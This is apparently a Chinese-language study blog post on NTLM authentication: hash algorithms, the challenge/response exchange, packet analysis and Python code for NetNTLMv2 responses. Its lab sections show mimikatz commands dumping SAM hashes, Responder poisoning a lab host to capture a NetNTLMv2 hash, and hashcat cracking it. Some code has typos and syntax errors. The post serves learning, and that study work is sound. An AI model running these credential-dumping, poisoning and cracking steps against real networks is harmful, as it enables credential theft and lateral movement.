简介

NTLM(New Technology LAN Manager)协议是微软用于Windows身份验证的主要协议之一。继SMBLM协议之后微软提出了NTLM协议,这一协议安全性更高,不仅可以用于工作组中的机器身份验证,又可以用于域环境身份验证,还可以为SMB、HTTP、LDAP、SMTP等上层应用提供身份验证。

LM Hash加密算法

LM Hash本质是DES加密,但是LM Hash容易破解,从Windows Vista和Windows Server2008开始,Windows默认禁用LM Hash。
LM Hash加密明文限制在14位,如果密文大于14位,说明LM Hash位空值或者被禁用。
LM Hash加密流程

  1. 将用户明文转化成大写,并转16进制
    如 p@ssw0rd ->P@SSW0RD->5040535357305244

  2. 如果转换后的十六进制字符串长度不足14B(28),用0补全
    5040535357305244->5040535357305244000000000000

  3. 将14B分为两组,每组7B,然后转二进制
    50405353573052->01010000010000000101001101010011010101110011000001010010
    44000000000000->01000100000000000000000000000000000000000000000000000000

  4. 将每组二进制数据按7bit一组,分为8组,每组末尾添0,再转16进制
    01010000010000000101001101010011010101110011000001010010
    ->01010000 00100000 00010100 01101010 00110100 10111000 11000000 10100100
    ->5020146a34b8c0a4

01000100000000000000000000000000000000000000000000000000
->01000100 00000000 00000000 00000000 00000000 00000000 00000000 00000000
->4400000000000000

  1. 将两组16进制字符串作为DES密钥对KGS!@#$%进行加密,然后将DES加密后的密文进行拼接得到LM Hash的值
    5020146a34b8c0a4->921988BA001DC8E1
    4400000000000000->4A3B108F3FA6CB6D
    LM Hash:921988BA001DC8E14A3B108F3FA6CB6D

  2. 验证
    OJaSSc.png

LM Hash因为不安全容易受到爆破攻击所以几乎不再使用,特别是如果密文长度小于7,那个第二个分组加密后的结果一定为 aad3b435b51404ee
如果LM Hash被禁用LM Hash的值为aad3b435b51404eeaad3b435b51404ee

NTLM Hash加密算法

NTLM Hash加密流程

  1. 将用户密码转换为十六进制
    123456->31 32 33 34 35 36

  2. 将十六进制格式的密码转换成Unicode格式,即在每个字节之后添加0x00
    31 32 33 34 35 36->310032003300340035003600

  3. 使用MD4对Unicode编码数据进行Hash计算
    310032003300340035003600->32ed87bdb5fdc5e9cba88547376818d4

  4. python实现
    python -c "import hashlib,binascii;print('NTLM_Hash:'+binascii.hexlify(hashlib.new('md4', '123456'.encode('utf-16le')).digest()).decode('utf-8'))" NTLM_Hash:32ed87bdb5fdc5e9cba88547376818d4
    OJad1M.png

  5. 验证
    OJa0wr.png

Windows系统存储的NTLM Hash

用户密码经过NTLM Hash加密后存储在C:\Windows\system32\config\SAM文件中,当用户在进行身份认证的时候,输入密码,系统对用户输入的密码进行NTLM Hash处理,如果结果和SAM文件中的NTLM Hash相同,则认证成功。
当用户注销,重启,锁屏后,操作系统会让winlogon.exe显示登录界面,winlogon.exe接受输入,将密码交给lsass.exe进程,lsass.exe进程中会存一份明文密码,进行NTLM Hash加密与SAM比较。
mimikatz抓取NTLM Hash就是通过抓取lsass.exe内存中凭据。
由于无法直接打开SAM文件,所以使用mimikatz工具读取
按照常规操作privilege::debug->sekurlsa::logonpasswords对win11是不启用的
按照一下操作privilege::debug->token::elevate->lsadump::sam
OJaC8s.png
拿到了我自己的HTLM Hash
使用MSF或者CS通过转存Hash抓取到的密码格式是:
用户名:用户SID值:KM Hash:HTLM Hash:::
一般第三位就是aad3b435b51404eeaad3b435b51404ee
OJoOJa.png
可以看到第三位是aad3b435b51404eeaad3b435b51404ee,第四位是我的NTLM Hash值

工作组下NTLM协议认证机制

NTLM协议是一种基于**Challenge/Response(质询/响应)**的验证机制,由三种消息组成

  1. Type1:协商(Negotiate)
  2. Type2:质询(Challenge)
  3. Type3:认证(Authentication)

NTLM协议由V1v2两个版本,两者主要区别是Challenge值和加密算法的不同,共同之处都使用NTLM Hash加密
OJU6Za.png

  1. 当客户端需要访问服务器的某个服务时,就需要进行身份认证。于是,在客户端输入服务器的用户名和密码进行验证之后,就会缓存服务器密码的NTLM Hash值。然后,客户端会向服务端发送一个请求,该请求利用NTLM SSP生成NTLMSSP_ NEGOTIATE消息(被称为Type1协商消息)。
  2. 服务端接收到客户端发送过来的Type1消息后,读取其中的内容,并从中选择自己所能接受的服务内容、加密等级、安全服务等,然后传入NTLM SSP,得到NTLMSSP_CHALLENGE消息(被称为Type2质询消息),并将此Type2消息发回给客户端。在此Type2消息中包含一个由服务端生成的16位随机值,被称为Challenge值,服务端会将该Challenge值进行缓存。
  3. 客户端收到服务端返回的Type2消息后,读取服务端所支持的内容,并取出其中的Challenge值,用缓存的服务器密码的NTLM Hash对其进行加密得到Response消息。最后将Response和一些其他信息封装到NTLMSSP_AUTH消息中(被称为Type3认证消息),发往服务端。
  4. 服务端收到认证消息后,从中取出Net-NTLM Hash,然后用自己密码的NTLM HashChallenge值进行一系列加密运算,得到自己计算的Net-NTLM Hash,并比较自己计算出的Net-NTLM Hash和客户端发送的Net-NTLM Hash是否相等。如果相等,则证明客户端输人的密码正确,从而认证成功,反之则认证失败。

实验检验

SMB 服务端 192.168.31.178
客户端 192.168.31.34
OJqu2s.png
先在kali上打开wireshark,然后smb连接win10服务端

┌──(root㉿kali2)-[~/Desktop]
└─# smbclient //192.168.31.178/Users -U test
Password for [WORKGROUP\test]:
Try "help" to get a list of possible commands.
smb: \> 

OJqwVS.png
根据抓包可以看到一个标志性的包,NTLMSSP_ NEGOTIATE,NTLMSSP_CHALLENGE,NTLMSSP_AUTH
分别来看看几个阶段

  1. 协商
    OJ5hAv.png
    OJ5iSq.png
    security modeSigning enabled为True,Signing required为False表明客户端支持签名, 但是协商不签名。工作组环境下默认都不签名。
  2. Negotiate包
    第五个包是Negotiate包
    一些需要协商的flag
    OJ5nCc.png
  3. Challenge包
    第6个包是Challenge包,由服务端发往客户端,可以看到challenge值
    OJ57nr.png
  4. Authenticate包
    在response中有6中响应类型
    1. LM响应,由低版本客户端发送
    2. NTLM v1响应,这是基于NT的客户端发送,包括Windows 2000 和xp
    3. HTLM v2响应,在Windows NT Server Pack4中引入一种较新的响应类型。他替换启动了NTLM v2系统上的NTLM响应
    4. LM v2响应,替换NTLM v2系统上的LM响应
    5. NTLM v2会话响应,用于在没有NTLM v2身份验证的情况下协商NTLM v2会话安全性,此方案会更改LM NTLM响应的语义
    6. 匿名响应,当匿名上下文正在建立时使用,没有提供实际的证书,也没有真正的身份验证。“存根”字段显示在Type3消息中
      这6中响应类型使用的加密流程一样,都上前面所说的Challenge/Response验证机制,不同之处在于Challenge值和加密算法。至于选择哪种由LmCompatibility-Level决定。
      OJ5NDM.png
      本次测试可以看到是NTLM v2类型的响应,在该字段下可以看到NTProofStr字段,该字段的值是用做数据签名的Hash(HMAC-MD5)值,目的是保证数据的完整性。
      NTLMv2 Hash=HMAC-MD5(unicode(hex((upper(Username)+DomainName))),NTLM_Hash)
      NTProofStr=HMAC-MD5(challenge+blob,NTLMv2 Hash)
      微软为了防止数据包被中途篡改,使用exportedSessionKey加密三个NTLM消息来保证数据包的完整性,而由于exportedSessionKey仅对启动认证的账户和目标服务器已知,因此有了MIC,攻击者于是无法通过篡改NTLM认证数据包。
      MIC=HMAC_MD5(exportedSessionKey,NEGOTIATE_MESSAGE+CHALLENGE_MESSAGE+AUTHENTICATE_MESSAGE)
      OJ5e6G.png
  5. 返回成功与否
    第8个数据包返回成功的结果
  6. 签名
    在认证完成后,根据协商的字段值来确定是否需要对后续数据包进行签名。
    OJ5e6G.pngOJ5HpK.png
    在第7个数据包中可以看到Session Key字段,Session Key是用来进行协商加密密钥的。
    看下Session Key的生成函数
    def generateEncryptedSessionKey(keyExchangeKey,exportedSessionKey):
        cipher=ARC4.new(keyExchangeKey)
        cipher_encrypt=cipher.encrypt
        sessionKey=cipher_encrypt(exportedSessionKey)
        return sessionKey
    Session Key是由keyExchangeKey和exportedSessionKey经过一系列运算得到
    再看下keyExchangeKey是如何生成
    def KXKEY(flags,sessionBaseKey,lmChallengeResponse,serverChallenge,password,lmhash,nthash,use_ntlmv2=USE_NTLMv2):
        if use_ntlmv2:
            return sessionBaseKey
        if flags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONCURITY:
            if flags & NTLMSSP_NEGOTIATE_NTLM_SESSIONSECURITY:
                keyExchangeKey=hmac_md5(sessionBaseKey,serverChallenge+lmChallengeResponse[:8])
            else
                keyExchangeKey=sessionBaseKey
        elif flags & NTLMSSP_NEGOTIATE_NTLM:
            if flags & NTLMSSP_NEGOTIATE_LM_KEY:
                keyExchangeKey=__DES_block(LMOWFv1(password,lmhash)[:7],lmChallengeResponse[:8])+__DES_block(LMOWFv1(password,lmhash)[:7]+b'\xBD\xBD\xBD\xBD\xBD\xBD',lmChallengeResponse[:8])
            elif flags & NTLMSSP_REQUEST_NON_NT_SESION_KEY:
                keyExchangeKey=LMOWFv1(password,lmhash)[:8]+b'\x00'*8
            else:
                keyExchangeKey=sessionBaseKey
        else:
            raise Exception("Can't create a valid KXKEY")
        return keyExchangeKey
    keyExchangeKey是由passwordserverChallenge等值经过一系列运算得到
    而exportedSessionKey是客户端生成的随机数,用来加解密liu’l,代码如下
    exportedSessionKey = b(“”.join([random.choice(string.digists+string.ascii_letters) for _ in range(16)]))

客户端和服务端通过Session Key协商密钥过程如下
首先,客户端会生成一个随机数exportedSessionKey,后续都使用这个exportedSessionKey来加解密流量。exportedSessionKey是客户端生成的,服务端并不知道。
客户端使用keyExchangeKey作为Key,用CR4加密算法加密exportedSessionKey,得到的流量中看到Session Key。服务器端拿到流量后,使用用户密码和Challenge值经过运算生成keyExchangeKey,然后使用Session
Key与KeyExchangeKey一起运算得到exportedSessionKey,最后使用exportedSessionKey加解密流量。对于攻击者来说,由于没有用户的密码,因此无法生成keyExchangeKey。所以,攻击者即使拿到了流量,也无法计算出exportedSessionKey,自然无法解密流量。

Net-NTLM v2 Hash的计算

NTLM v2的Response消息生成过程:

  1. 将大写的UsernameDomain name(区分大小写)拼接在一起转换成16进制,然后双字节Unicode编码得到data,接着使用16B NTLM哈希值作为密钥key,用data和key进行HMAC_MD5加密得到NTLM v2 Hash
  2. 构建一个blob信息
  3. 使用16字节NTLM v2 Hash作为密钥,将HMAC_MD5消息认证代码算法加密一个值(来自Type2的Challenge与blob拼接在一起),得到一个16B的NTProotStr(HMAC_MD5)
  4. NTProofStrblob拼接得到Response
    使用Responder工具抓取NTLM Response消息的时候,抓取的都是Net-NTLM Hash格式的数据
    Net-NTLM v2 Hash的格式:
    username::domain:challenge:HMAC_MD5:blob
    username: 要访问服务器的用户名
    domain: 域信息
    challenge: 数据包6中服务器返回challenge值
    HMAC-MD5: 数据包7中的NTProofStr
    blob: 数据包7中NTLM v2 Response去掉NTProofStr的后半部分
    NTLM v2 Hash=HMAC-MD5(unicode(hex((upper(UserName)+DomainName))),NTLM Hash)
    NTProofStr=HMAC-MD5(challenge+blob,NTLMv2 Hash)
    计算NTLM v2 Hash,NTProofStr以及Response值的代码如下
    import hmac
    import hashlib
    import binascii
    def str_to_hex(string):
        return ''.join([hex(ord(t)).replace('0x','') for t in string])
    def hex_to_unicode(string):
        return string.replace(" ","00")+"00"
    def Ntlm_hash(string):
        return binascii.hexlify(hashlib.new("md4",string.encode("utf-16le")).digest()).decode("utf-8")
    def hmac_md5(key,data):
        return hmac.new(binascii.a2b_hex(key),binascii.a2b_hex(data),hashlib.md5).hexdigest()
    if __name__="__main__":
        username=input("please input Username:")
        password=input("please input Password:")
        domain_name=input("please input Domain_name:")
        challenge=input("please input Challenge:")
        blob=input("please input blob:")
        print('*'*100)
        HEX=str_to_hex(username.upper()+domain_name)
        data=hex_to_unicode(HEX)
        key=Ntlm_hash(password)
        NTLM_v2_Hash=hmac_md5(key,data)
        print("NTLM_v2_Hash:"+NTLM_v2_Hash)
        data2=challenge+blob
        NTProofStr=hmac_md5(NTLM_v2_Hash,data2)
        print("NTProofStr:"+NTProofStr)
        Response=username+"::"+domain_name+":"+challenge+":"+NTProofStr+":"+blob
        print("Response:"+Response)

responder实验

下面实验验证一下Responder抓取NTLM v2 Responde消息然后使用hashcat进行爆破
攻击机kali:192.168.31.34
靶机win10:192.168.31.178
kali自带Responder直接使用即可

┌──(root㉿kali2)-[~/Desktop]
└─# responder -I eth0     
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.4.0

  To support this project:
  Github -> https://github.com/sponsors/lgandx
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    MQTT server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]
    SNMP server                [OFF]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [eth0]
    Responder IP               [192.168.31.34]
    Responder IPv6             [fe80::20c:29ff:fed2:e049]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP', 'ISATAP.LOCAL']

[+] Current Session Variables:
    Responder Machine Name     [WIN-JNOQBZ1D6K9]
    Responder Domain Name      [NNLN.LOCAL]
    Responder DCE-RPC Port     [49009]

[+] Listening for events...                           

开启监听eth0网卡
在win10靶机上访问一个不存在的共享目录比如\111\123,随便输入即可
OJBuya.png
然后kali监听到信息,捕捉HTLM v2 Hash值

[*] [NBT-NS] Poisoned answer sent to 192.168.31.178 for name WIN-N5633OS4LCV (service: Domain Controller)
[*] [NBT-NS] Poisoned answer sent to 192.168.31.178 for name WORKGROUP (service: Domain Master Browser)
[*] [MDNS] Poisoned answer sent to 192.168.31.178  for name 111.local
[*] [LLMNR]  Poisoned answer sent to fe80::4029:1fd8:cf61:59c2 for name 111
[*] [NBT-NS] Poisoned answer sent to 192.168.31.178 for name 111 (service: File Server)
[*] [MDNS] Poisoned answer sent to 192.168.31.178  for name 111.local
[*] [LLMNR]  Poisoned answer sent to 192.168.31.178 for name 111
[*] [MDNS] Poisoned answer sent to fe80::4029:1fd8:cf61:59c2 for name 111.local
[*] [LLMNR]  Poisoned answer sent to fe80::4029:1fd8:cf61:59c2 for name 111
[*] [MDNS] Poisoned answer sent to fe80::4029:1fd8:cf61:59c2 for name 111.local
[*] [LLMNR]  Poisoned answer sent to 192.168.31.178 for name 111
[SMB] NTLMv2-SSP Client   : fe80::4029:1fd8:cf61:59c2
[SMB] NTLMv2-SSP Username : WIN-N5633OS4LCV\test
[SMB] NTLMv2-SSP Hash     : test::WIN-N5633OS4LCV:dd1d9a13318cceaf:684964EF5F83B204EE0B30077A88052F:01010000000000008043172396A3DA0106380B005DCDDA4D00000000020008004E004E004C004E0001001E00570049004E002D004A004E004F00510042005A003100440036004B00390004003400570049004E002D004A004E004F00510042005A003100440036004B0039002E004E004E004C004E002E004C004F00430041004C00030014004E004E004C004E002E004C004F00430041004C00050014004E004E004C004E002E004C004F00430041004C00070008008043172396A3DA0106000400020000000800300030000000000000000000000000200000CC6D994464DFABE76848136D66BF3068E7689FA0E037ECFFB9164FE9EECBE5B20A001000000000000000000000000000000000000900100063006900660073002F003100310031000000000000000000                                                                               
[*] [MDNS] Poisoned answer sent to 192.168.31.178  for name 111.local
[*] [MDNS] Poisoned answer sent to fe80::4029:1fd8:cf61:59c2 for name 111.local
[*] [LLMNR]  Poisoned answer sent to fe80::4029:1fd8:cf61:59c2 for name 111
[*] [LLMNR]  Poisoned answer sent to 192.168.31.178 for name 111
[*] [LLMNR]  Poisoned answer sent to 192.168.31.178 for name 111
[*] [MDNS] Poisoned answer sent to 192.168.31.178  for name 111.local
[*] [MDNS] Poisoned answer sent to fe80::4029:1fd8:cf61:59c2 for name 111.local
[*] [LLMNR]  Poisoned answer sent to fe80::4029:1fd8:cf61:59c2 for name 111
[*] Skipping previously captured hash for WIN-N5633OS4LCV\test
[*] [MDNS] Poisoned answer sent to 192.168.31.178  for name 111.local
[*] [LLMNR]  Poisoned answer sent to fe80::4029:1fd8:cf61:59c2 for name 111
[*] [MDNS] Poisoned answer sent to fe80::4029:1fd8:cf61:59c2 for name 111.local
[*] [LLMNR]  Poisoned answer sent to 192.168.31.178 for name 111
[*] [MDNS] Poisoned answer sent to fe80::4029:1fd8:cf61:59c2 for name 111.local
[*] [LLMNR]  Poisoned answer sent to fe80::4029:1fd8:cf61:59c2 for name 111
[*] [MDNS] Poisoned answer sent to 192.168.31.178  for name 111.local
[*] [LLMNR]  Poisoned answer sent to 192.168.31.178 for name 111
[*] Skipping previously captured hash for WIN-N5633OS4LCV\test
[*] [NBT-NS] Poisoned answer sent to 192.168.31.178 for name WORKGROUP (service: Browser Election)

test::WIN-N5633OS4LCV:dd1d9a13318cceaf:684964EF5F83B204EE0B30077A88052F:01010000000000008043172396A3DA0106380B005DCDDA4D00000000020008004E004E004C004E0001001E00570049004E002D004A004E004F00510042005A003100440036004B00390004003400570049004E002D004A004E004F00510042005A003100440036004B0039002E004E004E004C004E002E004C004F00430041004C00030014004E004E004C004E002E004C004F00430041004C00050014004E004E004C004E002E004C004F00430041004C00070008008043172396A3DA0106000400020000000800300030000000000000000000000000200000CC6D994464DFABE76848136D66BF3068E7689FA0E037ECFFB9164FE9EECBE5B20A001000000000000000000000000000000000000900100063006900660073002F003100310031000000000000000000
这个就是NTLM v2 Hash值
尝试用hashcat爆破一下,先把hash值保存在b.txt

┌──(root㉿kali2)-[~/Desktop]
└─# hashcat b.txt /usr/share/wordlists/rockyou.txt --force -m 5600       
hashcat (v6.2.6) starting

You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.

OpenCL API (OpenCL 3.0 PoCL 5.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-haswell-12th Gen Intel(R) Core(TM) i7-12700H, 1142/2349 MB (512 MB allocatable), 1MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344393
* Bytes.....: 139921511
* Keyspace..: 14344386
* Runtime...: 0 secs

TEST::WIN-N5633OS4LCV:dd1d9a13318cceaf:684964ef5f83b204ee0b30077a88052f:01010000000000008043172396a3da0106380b005dcdda4d00000000020008004e004e004c004e0001001e00570049004e002d004a004e004f00510042005a003100440036004b00390004003400570049004e002d004a004e004f00510042005a003100440036004b0039002e004e004e004c004e002e004c004f00430041004c00030014004e004e004c004e002e004c004f00430041004c00050014004e004e004c004e002e004c004f00430041004c00070008008043172396a3da0106000400020000000800300030000000000000000000000000200000cc6d994464dfabe76848136d66bf3068e7689fa0e037ecffb9164fe9eecbe5b20a001000000000000000000000000000000000000900100063006900660073002f003100310031000000000000000000:qweasd
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: TEST::WIN-N5633OS4LCV:dd1d9a13318cceaf:684964ef5f83...000000
Time.Started.....: Sat May 11 11:33:30 2024, (1 sec)
Time.Estimated...: Sat May 11 11:33:31 2024, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   525.0 kH/s (0.35ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 3072/14344386 (0.02%)
Rejected.........: 0/3072 (0.00%)
Restore.Point....: 2816/14344386 (0.02%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: pirate -> dangerous
Hardware.Mon.#1..: Util: 57%

Started: Sat May 11 11:33:29 2024
Stopped: Sat May 11 11:33:31 2024

其中-m 5600 指定是NTLM v2模式,结果可以看出爆破成功,–show一下

┌──(root㉿kali2)-[~/Desktop]
└─# hashcat b.txt /usr/share/wordlists/rockyou.txt --force -m 5600 --show
TEST::WIN-N5633OS4LCV:dd1d9a13318cceaf:684964ef5f83b204ee0b30077a88052f:01010000000000008043172396a3da0106380b005dcdda4d00000000020008004e004e004c004e0001001e00570049004e002d004a004e004f00510042005a003100440036004b00390004003400570049004e002d004a004e004f00510042005a003100440036004b0039002e004e004e004c004e002e004c004f00430041004c00030014004e004e004c004e002e004c004f00430041004c00050014004e004e004c004e002e004c004f00430041004c00070008008043172396a3da0106000400020000000800300030000000000000000000000000200000cc6d994464dfabe76848136d66bf3068e7689fa0e037ecffb9164fe9eecbe5b20a001000000000000000000000000000000000000900100063006900660073002f003100310031000000000000000000:qweasd

qweasd就是我设置win10的密码

域环境下的NTLM 认证

OJBIdS.png

  1. 客户端想要访问服务器的某个服务,需要进行身份认证。于是,在输人服务器的用户名和密码进行验证之后,客户端会缓存服务器密码的NTLM Hash值。然后,客户端会向服务端发送一个请求,该请求利用NTLM SSP生成NTLMSSP_NEGOTIATE消息(Type1)。
  2. 服务端接收到客户端发送过来的Type1消息,会读取其中的内容,并从中选择自己所能接受的服务内容、加密等级、安全服务等。然后传人NTLM SSP,得到NTLMSSP_CHALLENGE消息(Type2),并将此Type2消息发回给客户端。在此Typc2消息中包含一个由服务端生成的16位随机值,被称为Challenge值,服务端将该Challenge值缓存起来。
  3. 客户端收到服务端返回的Iype2消息后,读取服务端所支持的内容,并取出其中的Challenge值,用缓存的服务器密码的NTLM Hash对其进行加密得到Response消息,Response消息中可以提取出Net-NTLM Hash。最后将Response和一些其他信息封装到NTLMSSP_AUTH消息中(Type3),发往服务端。
    以上过程与工作组下NTLM协议认证机制一样,以下过程与域控(DC)有关
  4. 服务端接收到客户端发送来的NTLMSSP_AUTH认证消息后,通过Netlogon协议与域控制器(Domain Controller,DC,简称域控)建立一个安全通道,将验证消息发给域控。
  5. 域控收到服务端发来的验证消息后,从中取出Net-NTLM Hash。然后从数据库中找到该用户的NTLM Hash,对Challenge进行一系列加密运算,得到自己计算的Net-NTLMHash,比较自已计算出的Net-NTLM Hash和服务端发送的Net-NTLM Hash是否相等,如果相等,则证明客户端输人的密码正确,认证成功,反之认证失败,域控将验证结果发给服务端。
  6. 服务端根据域控返回的结果,对客户端进行回复。

其实,域环境下的NTLM协议认证与工作组下没有什么区别,就是在Response的认证过程由域控承担。
这个实验先不做(其实是我的环境还没搭建好)

NTLM v1和NTLM v2的区别

前面说过,NTLM v1和NTLM v2最大的区别就是Challenge值与加密算法的不同。

  1. Challenge值
    NTLM v1: 8B
    NTLM v2:16B
  2. 加密算法
    NTLM v1: DES加密算法
    NTLM v2: HMAC-MD5加密算法
  3. Net-NTLM v1的Hash格式
    username:hostname:LM response:NTLM response:challenge

LmCompatibilityLevel

LmCompatibilityLevel的值用来确定网络登录使用的Challenge/Response身份验证协议。
LmCompatibilityLevel值对应的含义
0: 客户端使用LM和NTLM身份验证,但从不使用NTLM v2会话安全性。域控接受LM、NTLM和NTLM v2身份验证。
1: 客户端使用LM和NTLM身份验证,如果服务器支持NTLM v2会话安全性,则使用NTLM v2,域控接受LM、NTLM和NTLM v2身份验证。
2: 客户端使用NTLM身份验证,如果服务器支持NTLM v2会话安全性,则使用NTLM v2,域控接受LM、NTLM和NTLM v2身份验证。
3: 客户端仅使用NTLM v2身份验证,如果服务器支持NTLM v2会话安全性,则使用NTLM v2,域控接受LM、NTLM和NTLM v2身份验证。
4: 客户端仅使用NTLM v2身份验证,如果服务器支持NTLM v2会话安全性,则使用NTLM v2,域控拒绝LM身份验证,但接受NTLM和NTLM v2身份验证。
5: 客户端仅使用NTLM v2身份验证,如果服务器支持NTLM v2会话安全性,则使用NTLM v2,域控拒绝LM和NTLM身份验证,但接受NTLM v2身份验证。

在本地可以修改LmCompatibilityLevel的值
OJBIdS.pngOJU2BK.png
默认是没有值的,可以自行修改。

NTLM协议的安全问题

上面说过Type3 NTLMSSP_AUTH是使用用户密码进行计算的。因此,当没有拿到用户密码明文只拿到hash的时候可以进行PTH(Pass The Hash)(哈希传递)攻击。同样,在Response中存在Net-NTLM Hash,当获取到Net-NTLM Hash,可以进行中间人攻击,重放Net-NTLM Hash,这种就是NTLM Relay(NTLM 中继)攻击。由于NTLM v1协议加密过程存在天然缺陷,因此可以对Net-NTLM Hash进行破解,得到NTLM Hash后就可以横向。

  1. Pass The Hash
    Pass The Hash是内网横向攻击的一种方式。当获取到用户密码的NTLM Hash,对内网其他用户进行Hash碰撞,碰撞到使用相同密码的机器。然后通过135或445端口横向移动到使用该密码的机器。
  2. NTLM Relay
    上面使用Responder获取Net-NTLM Hash就是一种NTLM中继攻击,
  3. Net-NTLM v1 Hash破解
    只要获取到Net-NTLM v1 Hash就能破解为NTLM Hash,这与密码强度无关。在域环境,可以直接使用NTLM Hash连接。

NTLM协议暂且学到这。后续还会进行不同类型的攻击实验。